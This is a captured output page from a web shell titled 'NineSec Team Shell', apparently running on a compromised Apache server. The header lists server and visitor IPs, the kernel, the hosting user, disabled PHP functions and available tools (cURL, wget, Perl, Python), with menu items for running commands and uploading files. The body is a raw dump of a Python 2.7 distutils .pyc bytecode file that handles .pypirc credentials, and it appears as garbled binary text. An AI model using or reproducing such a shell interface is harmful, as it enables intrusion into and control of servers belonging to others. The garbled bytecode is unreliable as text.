NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib64/python2.7/distutils/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib64/python2.7/distutils/config.pyc
�
{fc@sRdZddlZddlmZddlmZdZdefd��YZdS(s�distutils.pypirc

Provides the PyPIRCCommand class, the base class for the command classes
that uses .pypirc in the distutils.command package.
i����N(tConfigParser(tCommandsE[distutils]
index-servers =
    pypi

[pypi]
username:%s
password:%s
t
PyPIRCCommandcBsueZdZdZdZd
Zd
ZdddefdgZdgZ	d�Z
d	�Zd
�Zd�Z
d�ZRS(s;Base command that knows how to handle the .pypirc file
    shttps://upload.pypi.org/legacy/tpypisrepository=trsurl of repository [default: %s]s
show-responses&display full response text from servercCstjjtjjd�d�S(sReturns rc file path.t~s.pypirc(tostpathtjoint
expanduser(tself((s(/usr/lib64/python2.7/distutils/config.pyt_get_rc_file&scCsd|j�}tjtj|tjtjBd�d�}z|jt||f�Wd|j�XdS(sCreates a default .pypirc file.i�twN(	RRtfdopentopentO_CREATtO_WRONLYtwritetDEFAULT_PYPIRCtclose(R
tusernametpasswordtrctf((s(/usr/lib64/python2.7/distutils/config.pyt
_store_pypirc*s
+cCs3|j�}tjj|�r/|jd|�|jp>|j}t�}|j|�|j	�}d|kr�|j
dd�}g|jd�D]$}|j�dkr�|j�^q�}|gkr�d|kr�dg}q�iSnxC|D]�}i|d6}|j
|d�|d<xdd	|jfd
|j
fdfD]A\}	}
|j||	�ro|j
||	�||	<q8|
||	<q8W|d|ks�|d	|kr�|Sq�Wq/d|kr/d}|j|d	�r�|j
|d	�}n	|j}i|j
|d�d6|j
|d�d6|d	6|d6|j
d
6SniS(sReads the .pypirc file.sUsing PyPI login from %st	distutilss
index-serverss
tRtserverRt
repositorytrealmRsserver-loginN(RN(RRRtexiststannounceRtDEFAULT_REPOSITORYRtreadtsectionstgettsplittstript
DEFAULT_REALMtNonet
has_option(R
RRtconfigR"t
index_serversRt_serverstcurrenttkeytdefault((s(/usr/lib64/python2.7/distutils/config.pyt_read_pypirc3sP	
$

		cCsd|_d|_d|_dS(sInitialize options.iN(R'RRt
show_response(R
((s(/usr/lib64/python2.7/distutils/config.pytinitialize_optionsis		cCs@|jdkr|j|_n|jdkr<|j|_ndS(sFinalizes options.N(RR'R RR&(R
((s(/usr/lib64/python2.7/distutils/config.pytfinalize_optionsosN(s
show-responseNs&display full response text from server(t__name__t
__module__t__doc__R R&R'RRtuser_optionstboolean_optionsRRR/R1R2(((s(/usr/lib64/python2.7/distutils/config.pyRs 						6	(R5RRt
distutils.cmdRRR(((s(/usr/lib64/python2.7/distutils/config.pyt<module>s



NineSec Team - 2022